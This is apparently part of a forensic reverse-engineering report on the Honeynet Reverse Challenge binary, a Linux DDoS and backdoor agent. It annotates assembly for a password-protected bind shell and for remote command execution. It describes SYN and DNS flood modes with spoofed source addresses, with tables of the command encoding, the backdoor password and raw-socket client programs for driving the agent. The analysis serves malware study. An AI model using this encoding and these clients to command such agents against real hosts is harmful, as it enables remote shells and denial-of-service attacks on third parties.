push offset unk_806761D
mov
edx, [ebp+var_44CC]
push edx
call libc_send ;if password was incorrect, return
; 4 bytes: 0xFF 0xFB 1 0
mov
ecx, [ebp+var_44CC]
push ecx
call libc_close
push 1
call exit
nop
case_5_valid_password:
push 0
mov edx, [ebp+var_44CC]
push edx
call libc_dup2 ; dup2(2, 0)
push 1
mov ecx, [ebp+var_44CC]
push ecx
call libc_dup2 ; dup2(2, 1)
push 2
mov edx, [ebp+var_44CC]
push edx
call libc_dup2 ; dup2(2, 2)
push 1
push offset aSbinBinUsrSbin
;"/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"...
push offset aPath ; "PATH"
call libc_setenv ; setenv(PATH,"/sbin:...")
add esp, 24h
push offset aHistfile ; "HISTFILE"
call libc_unsetenv ; delete HISTFILE from environment
push 1
push offset aLinux ; "linux"
push offset aTerm ; "TERM"
call libc_setenv ; setenv(TERM,"linux")
push 0
push offset aSh ; "sh"
push offset aBinSh ; "/bin/sh"
call libc_execl ; execl("/bin/sh","sh",0);
mov
ecx, [ebp+var_44CC]
push ecx
call libc_close
add esp, 20h
push 0
call exit
end_case_5:
push 0
call exit
nop
case 6:
The analysis of case 6 is trivial after having done case 2, as this case is a subset of case 2. The assembler code is self-explanatory: After several forks, it runs a command with csh, and do not care about the output.
call libc_fork ; case 0x6
mov ds:child2_PID, eax
test eax, eax
jnz usleep_and_restart ; default
call libc_setsid
push 1
push 11h
call libc_signal
call libc_fork ; vfork
add esp, 8
test eax, eax
jz short loc_8048B18
push 4B0h
call libc_sleep
push 9
mov eax, ds:child2_PID
push eax
call libc_kill
push 0
call exit
lea esi, [esi]
loc_8048B18:
xor
ebx, ebx
lea
esi, [esi]
loc_8048B1C:
mov al,
[ebx+ebp-0FFEh]
mov
[ebx+ebp-1000h], al
inc ebx
cmp ebx, 18Dh
jle short loc_8048B1C
mov edx, [ebp+var_packet_data_plus_2]
push edx
push offset aBinCshFCS ; "/bin/csh -f -c \"%s\" "
lea ebx, [ebp+var_received_data]
push ebx
call libc_sprintf
push ebx
call libc_system
push 0
call libc_exit
case 7:
This case is easily explained, looking at the output from DEC:
eax = *L0807E774;
if(eax == 0) {
goto usleep_and_restart;
}
kill(eax, 9);
*L0807E774 = 0;
goto usleep_and_restart;
Knowing that 0x0807E774 is where the binary stores the PID of any child created with fork(), the answer is trivial: it just kills the current child, if any, with signal 9. It is the only way to stop a DoS attack in progress.
case 8:
This is very similar to case 3, just querying about the A record (RR) of the root domain.
case 9:
It launches a SYN attack against the designated target. See description of function fcnt_32bis.
case 10:
This is very similar to case 9. It also uses fcnt_32bis to launch a SYN attack.
case 11:
It uses fcnt_35 to launch a huge amount of DNS queries against the target ip address. The queries are all recoursive for the domains .edu, .org, .usc.edu, .net, .com.
Basic analysis of
tcpdump and ethereal network traces for the different possible cases when
running “the-binary”:
Just for completeness, we have included a bit of network traces analysis. This basic analysis was also developed at the beginning of “the-binary” study, after the “strace” command analysis, but before getting into the details of the assembler code that conforms the binary file. All the information extracted and the conclusions shown are not totally accurate and are based on trial and error tests, sending different input data to “the-binary” through the network and looking the different network packets going forth and backwards. All the client packets have been sent with our own “talkto2.c” client.
Only the main cases related with network traffic generation have been analyzing in this section: cases 0, 3, 4, 8, 9, A and B. Some network traces examples, not very exhaustive, have been included in the “network_traces” compressed file.
CASE 0:
When sending a sample packet to “the-binary”, it can be seen how it responds to this packet, sending a new IP 0xB protocol packet to the localhost (“0.0.0.0”). It uses the system call “sendto()”.
CASE 3:
It generates UDP packets from a source IP address (see below) to a "random" set of destination IP addresses. This UDP packets are DNS queries, more precisely, SOA queries for different domains, as ".com" and “.net”. So probably, all the destination IP addresses are real Internet DNS servers (see confirmation bellow).
The source port is always an ephemeral client port choosen randomly by the Linux operating system, and the destination port is always the DNS port (53).
To analyze how to select the source address, we try different inputs:
If you send "abcd", the source IP address is 100.10.0.0.
If you send "1234", the source IP address is 52.10.0.0.
If you send "00011111" you get 49.49.49.49.
If you send "0001111" you get 49.49.49.49.
If you send "0002222" you get 50.50.50.50.
If you send "00033" you get 51.51.10.0.
If you send "000222" you get 50.50.50.10.
So setting up from the 4th to the 7th input characters (“000X.X.X.X”) you can select the four bytes of the source IP address. If you send less than 4 chars, it uses “.10”, or “.10.0”, or “.10.0.0”, or “100.10.0.0”.
The same DNS query can be generated manually using "nslookup" command:
[/]# nslookup
Default Server: dns_server
Address: 1.1.1.1
> set type=SOA
> com
- Analysis of the set of destination IP addresses used in DoS UDP traffic (DNS: port 53) generated by “the-binary”:
These are some examples of resolved names of some of the destination IP addresses used in the UDP-DNS DoS attack:
5.201.219.168.in-addr.arpa name = rnd.sec.samsung.co.kr
11.64.220.168.in-addr.arpa name = pby2.pepboys.com
4.16.1.4.in-addr.arpa name = vienna1-snsa1.gtei.net.
4.184.17.4.in-addr.arpa name = dns0.infor.com.
1.1.33.40.in-addr.arpa name = inet.d48.lilly.com.
1.200.197.143.in-addr.arpa name = proton.optivus.com.
2.1.121.158.in-addr.arpa name = ns.umb.edu.
We have tested them and all of them are DNS servers, as expected. It should be taken into account that not all the destination IP addresses in the set are resolvable nowadays.
CASE 4:
In this case, the destination IP address can be selected based on the input data. Again, with the goal of getting how the destination is formed, we took some trial and error tests:
Using “0002222” you get 50.50.10.0.
Using “0000002“ you get 48.50.10.0.
Using “000001111” you get 49.49.49.49.
Using “00000111” you get 49.49.49.10.
Using “0000011” you get 49.49.10.0.
Using “000001” you get 49.10.0.0.
So setting up from the 6th to the 9th input characters (“00000X.X.X.X”) you can select the four bytes of the destination IP address. If you send less than 4 chars, it uses “.10”, or “.10.0”, or “.10.0.0”, or “100.10.0.0”. Apart from that, it always seems to send 29 chars.
The destination port associated to this IP address also changes based on the input string, but it seems to be random, cause it changes from time to time sending the same input:
Using “000001111” you get 49.49.49.49 as destination. Port 87.
Using “000031111” you get 49.49.49.49 as destination. Port 39.
Using “000031111” you get 49.49.49.49 as destination. Port 2.
CASE 8:
This case is very similar to CASE 3,
If you send "abcd", the source IP is 100.10.0.0.
If you send "0002222" you get 50.50.50.50.
If you send "0002222123" (more than 9 characters) it stops, and doesn´t generate network packets through the external network interface. Instead, it tries four times a standard UDP-DNS query, against its internal address, 127.0.0.1, port 53 (DNS), asking for the A record (RR) of the root domain (“.”). Source IP address is the same as the destination address: 127.0.0.1.
The same type of query could be generated through “nslookup” command:
[/]# nslookup
Default Server: dns_server
Address: 1.1.1.1
> .
CASE 9:
This case sends TCP packets from the system IP address where “the-binary” is running to the destination IP address selected based on the input. The generated TCP packet features are:
- Source port is ephemeral, so it changes in every packet. Typical random source port.
- Destination port is always the same: it is based on the input data.
- TCP sequence number is changing between packets: this is set by the Linux operating system, the typical random sequence number..
- All packets are trying to establish a TCP connection: SYN flag is sett.
- Windows size also change in every packet.
Due to the fact that it is a SYN, total packet length is 40 bytes: 20 bytes from IP header, 20 bytes from TCP header and a zero bytes payload.
Using “000001111” you get 48.48.49.49 as destination IP address and destination port is 12593.
If you send "0001111" you get 49.49.49.49 as destination IP, and destination port 2560.
The same behaviour can be seen changing the first 3 characters in the input: "3331111".
So setting up from the 4th to the 7th input characters (“000X.X.X.X”) you can select the four bytes of the destination IP address. With this kind of input, source IP address changes randomly, but in this case it is really random (IP spoofing), not as the destination addresses used in CASE 3.
When sending "00011112" it is the same destination IP address defined by the “1111”, but the destination port changes to 12810. When sending "00011113" the destination port changes to 13066.
Using "000111101" the destination port is 12337 but the source IP address is the system one.
Using "00011110" the destination port is 12298 but the source IP address is random.
Using "000111102" the destination port is 12338 but the source IP address is the system one.
So, in this case you can select the destination IP address, the destination port number, and to forge or not (then using the system IP address) the source IP address.
CASE A:
It sends TCP packets with variable window size as in CASE 9 and again, the only flag set is the SYN flag. It uses a random source port (ephemeral) and a destination port based on the input data.
The source IP address can also be selected by the input data, and it is random if is “0.0.0.0”, and the destination IP address is based too on the input data information provided.
Using “000aaaa“ you get 97.97.97.97 as the destination IP address. Destination port is: 176.
Using “000aaaa0004444” you can set both, the source and destination IP addresses:
97.97.97.97 ---> 52.52.52.52
As said before, port is based on the input data, but this information is used internally by the binary to build a packet by itself, using RAW sockets. The port set in the “struct sock_addr” passed to the sendto() system call that can be seen in the “strace” output is not relevant at all.
CASE B:
This case sends different DNS SOA queries to all the following domains:
.edu
.org
.usc.edu
.net
.com
Also sometimes it sends DNS queries without content: the reason for that is it is building the packet by itself in RAW mode. All the queries are DNS recursive queries.
Again, the source IP address is random and the destination IP address is selected by the input data. It is possible to select the source IP address with a different input.
Using “000aaaa” it sends packet from 10.0.0.0 to 97.97.97.97.
Using “000aaaa1111”, packets go from 49.49.49.49 (characters set as “1”) to 97.97.97.97 (characters set as “a”).
The end of the
story
Well, that’s all. Congratulations, you have read it!
But before starting answering the official questions, just a couple of conclusions:
- Being armed with good tools is critical for this kind of analysis. Had we had all our programs and scripts at the very beginning, we would have identified all the library functions in a matter of hours, and our job would have been much easier.
- No tool could do all the work. At some time, you have to do your homework and revise the assembler listings.
- Forensic analysis of just a crude binary is really time consuming.
- No matter how much you think you know about systems and security, you always learn a lot.
- We have worked much, but had a lot of fun!
![]()
Appendix 1: talk.c program listing
This is the first version of a very basic network client program that allows sending a stream of characters to “the-binary”. Once executed, the user can type one line of characters at a time to be sent. Once launched from command line it waits until the user types a line of characters, which is read from the standard input, and sent to the destination host in a 1044 bytes IP packet: 1024 bytes from the payload and 20 bytes belonging to the IP header.
The program must be used by root, because you need enough privileges to be able to use RAW sockets.
Using command line arguments user can select the server and protocol to talk to. By default it talks to localhost (127.0.0.1) using protocol 0xB (the one used by “the-binary”).
/**************************************************************************\
* File:
* talk.c
*
* Description:
* Tool to talk to "the-binary" of The Reverse Challenge.
*
* Revisions:
* First version.
*
\**************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* exit values */
#define EXIT_NO_ROOT 1
#define EXIT_NO_SOCK 1
/* default values */
#define SERVER_PROT 0xb
#define BUFF_SIZE 1024
void help (char *, char *);
int talk(char *, int);
/*
Function:
main
Description:
Parses the command line.
*/
int
main (int argc, char * argv[])
{
char * version = "0.0.1";
char * server_name = "localhost";
int server_prot = SERVER_PROT;
int buff_size = BUFF_SIZE;
char buffer[BUFF_SIZE];
char * pbuffer = buffer;
int sock;
int c;
opterr = 0;
while ((c = getopt (argc, argv, "hp:")) != -1)
switch (c)
{
case 'h':
help(argv[0], version);
exit(0);
break;
case 'p':
server_prot = atoi(optarg);
break;
case 's':
server_name = (char *)malloc(strlen(optarg));
strcpy(server_name, optarg);
break;
case '?':
if (isprint (optopt))
fprintf (stderr, "Option `-%c' IGNORED.\n", optopt);
else
fprintf (stderr,
"Option character `\\x%x' IGNORED.\n",
optopt);
}
if (geteuid() != 0)
{
fprintf(stderr, "Only root can use this program!.Sorry.\n");
help(argv[0], version);
exit(EXIT_NO_ROOT);
}
if ((sock = talk(server_name, server_prot)) < 0)
{
fprintf(stderr, "Error while creating the socket.\n");
exit(EXIT_NO_SOCK);
}
/* according to the TCP/IP programming guide,
connectionless sockets should be used with sendto instead of
write */
while(getline(&pbuffer, &buff_size, stdin) != -1)
{
write(sock, buffer, buff_size);
buff_size = BUFF_SIZE;
}
close(sock);
return 0;
}
/*
Function:
help
Description:
prints a help message for the user (obtained with the -h option)
*/
void
help (char * name, char * version)
{
fprintf(stderr, "USAGE:\n\t%s v%s [-options] [servername]\n\n", name, version);
fprintf(stderr, "Servername is by default localhost.\n");
fprintf(stderr, "Options:\n");
fprintf(stderr, "\t-b #\tblock size for transmision\n");
fprintf(stderr, "\t-h\tprint this help\n");
fprintf(stderr, "\t-p #\tset port number\n");
}
/*
Function:
talk
Description:
Creates a socket to the dessired port.
Returns:
A file descriptor for the socket (positive value) if successful.
*/
int
talk(char * server_name, int protocol)
{
struct hostent * host;
struct in_addr addr;
int sock, connected;
struct sockaddr_in address;
/* resolve hostname */
if (inet_aton(server_name, &addr) == 0)
{
host = (struct hostent *)gethostbyname(server_name);
if (host != NULL)
memcpy(&addr, host->h_addr_list[0], sizeof(struct in_addr));
else
return -1;
}
/* set address to connect to */
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
/* address.sin_port = (port);*/
address.sin_addr.s_addr = addr.s_addr;
/* create the socket */
sock = socket(AF_INET, SOCK_RAW, protocol);
/* "connect" it to set destination address */
if (connect(sock, (struct sockaddr *) &address,
sizeof(address)) ==0)
connected=0;
if (connected < 0) {
perror("connect");
return -2;
}
return sock;
}
![]()
Appendix 2: rev.c program listing
/*
* rev.c libnet based program capable of speaking IP 0xB protocol
*
*/
#define DEFAULT_EXT_SIZE 1
#define DEFAULT_PROTOCOL 0xb
#define MAX_BUF 2048
#include <libnet.h>
void usage(char *);
int
main(int argc, char **argv)
{
int network, packet_size, c;
u_long src_ip, dst_ip;
u_long ext_size=DEFAULT_EXT_SIZE;
u_short protocol=DEFAULT_PROTOCOL;
u_char *cp, *packet;
u_char ibuf[MAX_BUF];
printf("Honeynet Reverse Challenge packet creation code.\n");
src_ip = 0;
dst_ip = 0;
while((c = getopt(argc, argv, "d:e:p:s:")) != EOF)
{
switch (c)
{
case 'd':
if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
{
libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: %s\n", optarg);
}
break;
case 's':
if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
{
libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", optarg);
}
break;
case 'e':
ext_size=atoi(optarg);
break;
case 'p':
protocol=atoi(optarg);
break;
}
}
if (!src_ip) {
if (!(src_ip =libnet_name_resolve("127.0.0.1", LIBNET_RESOLVE)))
{
libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", "127.0.0.1");
}
}
if (!src_ip || !dst_ip || ext_size<1)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
/*
* total packet size is standard IP header + requested info.
*/
packet_size = LIBNET_IP_H + ext_size;
/*
* Libnet Memory initialization.
*/
libnet_init_packet(packet_size, &packet);
if (packet == NULL)
{
libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
}
/*
* Libnet Network initialization.
*/
network = libnet_open_raw_sock(IPPROTO_RAW);
if (network == -1)
{
libnet_error(LIBNET_ERR_FATAL, "Can't open network.\n");
}
/*
* Packet construction (IP header).
*/
libnet_build_ip(LIBNET_TCP_H, /* size of the packet sans IP header */
IPTOS_LOWDELAY, /* IP tos */
242, /* IP ID */
0, /* frag stuff */
48, /* TTL */
protocol, /* transport protocol */
src_ip, /* source IP */
dst_ip, /* destination IP */
NULL, /* payload (none) */
0, /* payload length */
packet); /* packet header memory */
while(read(0, &ibuf, ext_size) > 0)
{
/*
* Packet construction (EXT header).
*/
memcpy(packet + LIBNET_IP_H,ibuf,ext_size);
/*
* Packet checksums.
*/
if (libnet_do_checksum(packet, IPPROTO_IP, ext_size) == -1)
{
libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
}
/*
* Packet injection.
*/
c = libnet_write_ip(network, packet, packet_size);
if (c < packet_size)
{
libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d bytes\n", c);
}
else
{
printf("construction and injection completed, wrote all %d bytes\n", c);
}
}
/*
* Shut down the interface.
*/
if (libnet_close_raw_sock(network) == -1)
{
libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface");
}
/*
* Free packet memory.
*/
libnet_destroy_packet(&packet);
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
void
usage(char *name)
{
fprintf(stderr, "usage: %s [-s ip_source] -d ip_destination [-p protocol] [-e extended_size]\n", name);
}
![]()
Knowing in deep detail how the system calls are achieved under the Linux operating system in the Intel x86 hardware platforms, you can better analyze the assembler code associated to a binary running in this environment, as “the-binary” file:
1) System calls are carry on through the interrupt eighty: INT 0x80.
2) System call number or identifier is indicated in EAX register.
3) If system call arguments are less than or equal to five are pass thorugh the following registries respectively:
EBX, ECX, EDX,
ESI, EDI
4) If arguments are greater than five, they are provided through the stack, pointing EBX register to the first argument.
5) All the Linux system calls numbers or identifiers are defined in the “/usr/include/asm/unistd.h” file.
6) The different system call arguments are defined in its corresponding manual page, for example, "man 2 sendto".
There is some additional information very important to understand the way the Linux binaries, known as ELF binary programs, are placed in memory when called under Intel x86 platforms:
7) The ESP register is the stack pointer.
8) The program arguments are placed in the snack in the following way:
- Number of arguments (argc): ESP
- First argument: ESP+4 (program name)
- More arguments: ESP+8, ESP+12...
- End of arguments: NULL pointer.
- Environment variables: after arguments in the same way.
- End of environment variables: NULL pointer.
9) Code typically starts in the memory address 0x08048000.
10) Memory finishes at address 0xBFFFFFFF.
#!/usr/bin/perl
# File:
# syscall.pl
#
# Description:
# Add comments to the output of objdump about the system calls.
#
# Revisions:
# 2002-05-15. First version.
#
my @line;
my @aux;
my %syscall;
my $i;
my $j;
if (@ARGV < 1) {
print STDERR "USAGE:\n";
print STDERR "$0 <objdump_file>\n";
exit 0;
}
# Load system calls names and numbers
open(SYSCALLS, "/usr/include/asm/unistd.h") || die "Couldn't open unistd.h\n";
@line = <SYSCALLS>;
close(SYSCALLS);
foreach $i (@line) {
chop($i);
if ($i =~ /\#define __NR_\w+/) {
@aux = split(/\s+/, $i);
$aux[1] =~ s/__NR_//;
$syscall{$aux[2]} = $aux[1];
}
}
#foreach $i (sort keys %syscall){
# print "$i: $syscall{$i}\n";
#}
open(FILE,$ARGV[0]) || die "Couldn't open file $ARGV[0]\n";
@line = <FILE>;
close(FILE);
for($i = 0; $i < @line; $i++) {
if ($line[$i] =~ /int\s+\$0x80$/) {
chop($line[$i]);
# Look for a previous line (only 10) to set %eax
$j = 1;
while (($j < 10) && ($line[$i-$j] !~ /mov\s+.+,\%eax/)) {
$j++;
}
if ($line[$i-$j] != /mov\s+.+\%eax/) {
@aux = split(/\s+/, $line[$i-$j]);
$sysnum = pop(@aux);
$sysnum =~ s/,\%eax//;
$sysnum =~ s/^\$0x//;
$sysnum = hex($sysnum);
}
print "$line[$i] \# $syscall{$sysnum}()\n";
} else {
print $line[$i];
}
}
![]()
Appendix 4: talkto.c program listing
To be able to talk and send meaningful IP packets to “the-binary” through the network, some simple network client programs were created in C language. The client program evolution through the time and its descriptions are presented in various appendixes:
talk.c: First version (see additional compressed files to get this initial source code).
This was the first version of a very basic network client program that allows sending a stream of characters to “the-binary”. Once executed, the user can type on line of characters at a time to be sent.
Once launched from command line it waits until the user types a line of characters, which is read from the standard input, and sent to the destination host in a 1044 bytes IP packet: 1024 bytes from the payload and 20 bytes belonging to the IP header.
The program must be used by root, cause you need enough privileges to be able to use RAW sockets.
Using command line arguments user can select the server and protocol to talk to. By default it talks to localhost (127.0.0.1) using protocol 0xB (the one used by “the-binary”).
talkto.c: Payload adapted to talk “to the-binary”.
After analyzing the behaviour of “the-binary” and getting enough information to know what was expected in the network packet, the main changes in this new version were:
- Force first byte of the payload to be "0x02".
- A new option was added for selecting the number of bytes to be sent in the packet. Default is 1500 bytes, the Ethernet MTU.
The packet size should be at least 201 bytes, the minimum expected by "the-binary", 20 bytes from IP header plus 181 bytes in the payload. So if you are using the new added option “-b”, at least you need to specify a value equal or greater than 181.
All the information sent in IP packets was finished in 0x0A, a carriage return, just for homogeneity.
Some basic debugging was made to improve the previous version.
/***************************************************************************\
* File:
* talkto.c
*
* Description:
* Tool to talk to "the-binary" of The Reverse Challenge.
*
* Revisions:
*
* 2002-05-14. Payload adapted to talk “to the-binary”.
* First version derived from "talk.c":
* - Force first byte of the payload to be "0x02".
* - Option for selecting number of bytes inside the packet. Default is 1500 bytes.
* It should be at least 201 bytes: the minimum expected by "the-binary":
* 201 bytes = 20 IP header + 181 payload.
*
\***************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* exit values */
#define EXIT_NO_ROOT 1
#define EXIT_NO_SOCK 1
/* default values */
#define SERVER_PROT 0xb
#define BUFF_SIZE 1480 /* Ethernet MTU: 1500 - IP header: 20 */
void help (char *, char *);
int talk(char *, int);
/*
Function:
main
Description:
Parses the command line.
*/
int
main (int argc, char * argv[])
{
char * version = "1.0.0";
char * server_name = "localhost";
int server_prot = SERVER_PROT;
int buff_size = BUFF_SIZE;
char buffer[BUFF_SIZE];
char * pbuffer = buffer;
int sock;
int c;
int i = 0;
int size = buff_size;
/* By default it sends 1500 bytes packets = Ethernet MTU */
opterr = 0;
/* Initializing buffer */
bzero(buffer,BUFF_SIZE);
while ((c = getopt (argc, argv, "hp:s:b:")) != -1)
switch (c)
{
case 'h':
help(argv[0], version);
exit(0);
break;
case 'p':
server_prot = atoi(optarg);
break;
case 's':
server_name = (char *)malloc(strlen(optarg));
strcpy(server_name, optarg);
break;
case 'b':
size = atoi(optarg);
if (size > buff_size) {
fprintf (stderr, "Option `-%c': size (bytes) must be less than %d.\n", optopt,
buff_size);
exit(-1);
}
break;
case '?':
if (isprint (optopt))
fprintf (stderr, "Option `-%c' IGNORED.\n", optopt);
else
fprintf (stderr,
"Option character `\\x%x' IGNORED.\n",
optopt);
}
if (geteuid() != 0)
{
fprintf(stderr, "Only root can use this program!.Sorry.\n");
help(argv[0], version);
exit(EXIT_NO_ROOT);
}
if ((sock = talk(server_name, server_prot)) < 0)
{
fprintf(stderr, "Error while creating the socket.\n");
exit(EXIT_NO_SOCK);
}
/* according to the TCP/IP programming guide,
connectionless sockets should be used with sendto instead of
write */
buff_size = BUFF_SIZE-1;
pbuffer++;
/* We get the user input and copy it to the buffer from the second byte to the end */
while( (i=getline(&pbuffer, &buff_size, stdin)) != -1)
{
/* Set first packet byte to 0x02 as "the-binary" expects */
*buffer=0x02;
buff_size = BUFF_SIZE;
printf("(0x%d)%s\n",*buffer,buffer);
/* Number of bytes to write:
- if option "-b" was not used, it will write 1480 bytes payload.
- if option "-b" was used:
- if "size" is less or equal to "i+1" (characters read plus the 0x02)
then we write only the first "size" characters.
We set an ENTER (0x0a) at the end of the packet.
- if "size" is greater than the read characters, "i+1",
then we write all the read characters.
*/
/* Payload allways has the characters and an end 0x0a */
if (size <= i) {
buffer[size-1]=0x0a;
}
else {
/* Nothing to do: we send all the read chars + zero aditional chars */
}
/* We only write the number of bytes selected (size) from the buffer */
write(sock, buffer, size);
/* Re-Initializing buffer */
bzero(buffer,BUFF_SIZE);
buff_size = BUFF_SIZE-1;
}
close(sock);
return 0;
}
/*
Function:
help
Description:
prints a help message for the user (obtained with the -h option)
*/
void
help (char * name, char * version)
{
fprintf(stderr, "USAGE:\n\t%s v%s [-options] \n\n", name, version);
fprintf(stderr, "Servername is by default localhost.\n");
fprintf(stderr, "Options:\n");
fprintf(stderr, "\t-h #\tprint this help\n");
fprintf(stderr, "\t-p #\tset protocol number (default is 0x0b)\n");
fprintf(stderr, "\t-s #\tset server name (default is localhost)\n");
fprintf(stderr, "\t-b #\tpayload block size for transmision (IP header includes 20 bytes)\n");
fprintf(stderr, "\nExample.-\n");
fprintf(stderr, "\t%s -shostname -p80 -b128 \n", name);
}
/*
Function:
talk
Description:
Creates a socket to the dessired server and protocol.
Returns:
A file descriptor for the socket (positive value) if successful.
*/
int
talk(char * server_name, int protocol)
{
struct hostent * host;
struct in_addr addr;
int sock, connected;
struct sockaddr_in address;
/* resolve hostname */
if (inet_aton(server_name, &addr) == 0)
{
host = (struct hostent *)gethostbyname(server_name);
if (host != NULL)
memcpy(&addr, host->h_addr_list[0], sizeof(struct in_addr));
else
return -1;
}
/* set address to connect to */
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
/* address.sin_port = (port);*/
address.sin_addr.s_addr = addr.s_addr;
/* create the socket */
sock = socket(AF_INET, SOCK_RAW, protocol);
/* "connect" it to set destination address */
connected = connect(sock, (struct sockaddr *) &address,
sizeof(address));
if (connected < 0) {
perror("connect");
return -2;
}
return sock;
}
![]()
Appendix 5: strace output for 12 cases
This basic analysis was developed at the beginning of “the-binary” study, before getting into the details of the assembler code that conforms the binary file. So all the information extracted and the conclusions shown are not accurate and are based on trial and error tests based on sending different input data to “the-binary” through the network. Although “the-binary” present 11 cases, we have included tests for all of them except case number 6. Cases 1 and 7 were not very useful at this moment. The “strace” output information files referenced has been included in the “strace” compressed file.
CASE 0:
When sending a sample packet to “the-binary”, it can be seen how it responds to this packet, sending a new IP 0xB protocol packet to the localhost (“0.0.0.0”). It uses the system call “sendto()”.
CASE 1:
It doesn´t call a network system call when receiving a test input packet, with a payload of “abcdef”. It was not analyzed in detail when “strace” was run.
CASE 2:
When receiving the packet it tries to spawn a shell (csh) in the system:
execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"def\n\" 1> /tmp/.h"...], [/* 35 vars */]) = 0
CASE 3:
When “the-binary” is running CASE 3 and receives a packet, it begins an infinite loop generating a big flow of packets (DoS) whose destination IP address is “random”. Carry on a detailed analysis of the “random” IP addresses, it can be seen that they belong to a finite set that is repeated again and again, so they are not really random.
The whole destination IP addresses set is contained in the file called “strace_case3_whole.txt”.
It can also be analyzed that based on the input data length the behaviour changes. It tries to resolve the input as a network name, not shown in the output, and tries to connect to the DNS port (53) through UDP packets.
If the input information is less or equal than eight characters it follows the described behaviour, but if it is greater than eight, it takes some actions and waits in a “sigsuspend([]” call.
CASE 4:
This case is the same as the previous one, but it allows you to set the destination IP address to send packets to, based on the input data. You can see a detailed description, as what input characters define the IP address, based on trial and error tests in the “strace” file associated to this case: “strace_case4.txt”.
CASE 5:
When sending a packet to this option, a new TCP server is placed in listening state in port 23281. You can connect to it using a special expected password: “SeNiF”. More details of some of the actions taken can be obtained in the “strace” output file: “strace_case5.txt”
CASE 7:
It is waiting a specific input, and if it doesn´t match, it returns to the receive state, using the “recv()” system call.
CASE 8:
This case is very similar to CASE 3, but the character that selects between the “random” IP addresses and the fixed destination IP address, where a name resolution is carried on, is not eight characters (as in CASE 3), but nine. It also tries a flood of SYN connections to the DNS port (53), and not UDP as in CASE 3.
CASE 9, A and B:
All these three cases are very similar to CASE 4 in the way the destination IP address is selected, based on the data input provided. The actions performed are different as will be seen in other analysis, as for example, the network traces analysis.
The following is the output we got running the strace command against our patched binaries, additionaly included to the already mentioned “strace” compressed file:
bash# strace -f reverse/the-binary0
execve("reverse/the-binary0", ["reverse/the-binary0"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 935
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021496114
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1
brk(0) = 0x807eb98
brk(0x807ed88) = 0x807ed88
brk(0x807f000) = 0x807f000
sendto(1, "E\0\1\332\303m\0\0\372\v\373\253\0\0\0\0\0\0\0\0\3\0\27"..., 474, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 474
close(1) = 0
oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
recv(0,
"E\0\1\332\303m\0\0\372\v|\252\177\0\0\1\0\0\0\0\3\0\27"..., 2048, 0)
= 474
oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
recv(0, <unfinished ...>
bash# strace -f reverse/the-binary1
execve("reverse/the-binary1", ["reverse/the-binary1"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 940
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021496199
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
time(NULL) = 1021496211
oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
recv(0,
"E\0\1\250a\277\0\0\372\v\336\212\177\0\0\1\0\0\0\0\3\0"..., 2048, 0)
= 424
oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
recv(0, <unfinished ...>
bash# strace -f reverse/the-binary2
execve("reverse/the-binary2", ["reverse/the-binary2"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
